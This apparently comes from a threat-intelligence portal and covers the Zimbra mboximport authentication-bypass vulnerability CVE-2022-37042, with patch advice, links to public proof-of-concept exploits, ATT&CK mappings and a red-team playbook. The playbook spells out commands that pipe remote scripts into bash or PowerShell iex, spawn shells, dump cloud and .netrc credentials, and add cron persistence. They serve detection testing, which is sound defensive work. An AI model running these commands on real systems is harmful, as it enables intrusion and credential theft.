CVE-2022-37042

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 11/08 Upd 21/10

Overview

This vulnerability is an authentication bypass combined with directory traversal in the mboximport functionality of Zimbra Collaboration Suite versions 8.8.15 and 9.0. The root cause lies in improper validation of ZIP archive contents during extraction, allowing arbitrary file uploads without requiring an authentication token. The affected component is the mboximport feature responsible for importing mailbox data via ZIP archives.

Vulnerability Description

Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.

Impact

An unauthenticated attacker can upload arbitrary files to the Zimbra server, exploiting directory traversal to overwrite critical files and execute arbitrary code remotely. This can lead to full compromise of the email system, exposing sensitive communications and credentials. No user interaction or valid credentials are required, enabling mass exploitation and persistent system control by adversaries.

Solution

Apply the patches provided by Synacor for Zimbra Collaboration Suite versions 8.8.15 and 9.0 as detailed in the Zimbra Security Advisories available at https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories. Follow the vendor's recommended update procedures to replace affected components and mitigate the incomplete fix. Refer to the official Security Center at https://wiki.zimbra.com/wiki/Security_Center for detailed patch instructions and version-specific guidance.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Zimbra Collaboration Suite arises from a flaw in the mboximport functionality, which allows the system to receive and extract files from ZIP archives. This process is intended to facilitate the importation of mailbox data, but it is critically undermined by a lack of proper authentication checks. Specifically, an attacker can bypass the requirement for an authentication token, enabling them to upload arbitrary files to the server. This flaw can lead to directory traversal attacks, where an attacker can manipulate file paths to access sensitive directories and files outside the intended scope. Ultimately, this vulnerability can result in remote code execution, allowing an attacker to execute malicious code on the server, potentially leading to full system compromise.

Attack vectors for exploiting this vulnerability are particularly concerning due to their simplicity and the low barrier to entry for potential attackers. An adversary could craft a malicious ZIP file containing payloads designed to exploit the directory traversal flaw. By sending this ZIP file to the vulnerable mboximport endpoint without authentication, the attacker can upload the file to a location on the server where it can be executed. This exploitation could be conducted remotely, making it accessible to a wide range of threat actors, including those with minimal technical expertise. The ability to execute arbitrary code on a server can lead to further attacks, such as data exfiltration, service disruption, or lateral movement within an organization’s network.

The real-world impact of this vulnerability is significant, particularly for organizations that rely on the Zimbra Collaboration Suite for email and collaboration services. The potential for remote code execution poses a severe business risk, as it could lead to unauthorized access to sensitive information, including emails, attachments, and user credentials. Furthermore, the exploitation of this vulnerability could result in reputational damage, loss of customer trust, and potential legal ramifications if sensitive data is compromised. Organizations may also face operational disruptions as they respond to the incident, investigate the breach, and implement remediation measures.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in the Zimbra Collaboration Suite and other critical systems. Additionally, monitoring for unusual activity related to the mboximport functionality, such as unauthorized file uploads or access attempts, can aid in early detection of exploitation attempts. Organizations should also ensure that they are running the latest versions of the software, as updates often include patches for known vulnerabilities. Implementing strict access controls and authentication mechanisms can further reduce the risk of unauthorized access to sensitive functionalities.

In conclusion, the vulnerability in the Zimbra Collaboration Suite represents a serious threat to organizations that utilize this software for their collaboration needs. The combination of authentication bypass, directory traversal, and remote code execution creates a potent attack vector that can be exploited by malicious actors. Organizations must prioritize the detection and mitigation of this vulnerability to safeguard their systems and protect sensitive data. By adopting proactive security measures and maintaining awareness of emerging threats, businesses can better defend against the risks associated with this and similar vulnerabilities.




CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2022-37042, indicating persistent adversary interest despite prior disclosures and mitigations. Our telemetry shows a modest uptick in activity consistent with automated scanning and exploitation campaigns leveraging publicly available proof-of-concept tools and Metasploit modules. This continued activity underscores the vulnerability’s attractiveness for threat actors seeking remote code execution on Zimbra Collaboration Suite instances without authentication. While the Exploit Prediction Scoring System (EPSS) remains stable, the incremental rise in exploitation attempts suggests that threat actors maintain operational focus on this vector, particularly given its known use in ransomware operations. Defenders should interpret this as a signal that the vulnerability remains actively targeted in the wild, reinforcing the criticality of timely patching and monitoring. The threat level remains high due to the vulnerability’s ease of exploitation and the potential for significant impact through unauthorized system access and code execution.

Affected Products (61)

Vendor Product Version CPE
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:-:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p1:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p10:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p12:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p13:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p14:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p15:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p16:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p17:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p18:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p19:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p2:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p20:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p21:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p22:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p23:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p24:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p25:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p26:*:*:*:*:*:*
+41 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)
exploits/linux/http/zimbra_mboximport_cve_2022_27925
Volexity Threat Research, Yang_99's Nest, Ron Bowes Unknown - View

GitHub PoCs (3)

Repository Author Stars Forks Date Link
0xf4n9x/CVE-2022-37042
CVE-2022-37042 Zimbra Auth Bypass leads to RCE
0xf4n9x 29 6 2022-10-24 View
aels/CVE-2022-37042
Zimbra CVE-2022-37042 Nuclei weaponized template
aels 18 11 2022-08-25 View
GreyNoise-Intelligence/Zimbra_CVE-2022-37042-_CVE-2022-27925
GreyNoise-Intelligence 7 6 2022-08-18 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

33 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-08-18
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2022-08-11
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2022-05-10
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
100% path_traversal
File Upload Vulnerabilities
83% file_upload
Remote Code Execution
50% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
45%
High Very High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
42%
High High
CAPEC-79 Using Slashes in Alternate Encoding
42%
High High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
40%
High High
CAPEC-76 Manipulating Web Input to File System Calls
37%
High Very High

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-37042
wiki.zimbra.com
GitHub CVE x_refsource_MISC
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
wiki.zimbra.com
GitHub CVE x_refsource_MISC
https://wiki.zimbra.com/wiki/Security_Center
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/168146/Zimbra-Zip-Path-Traversal.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-37042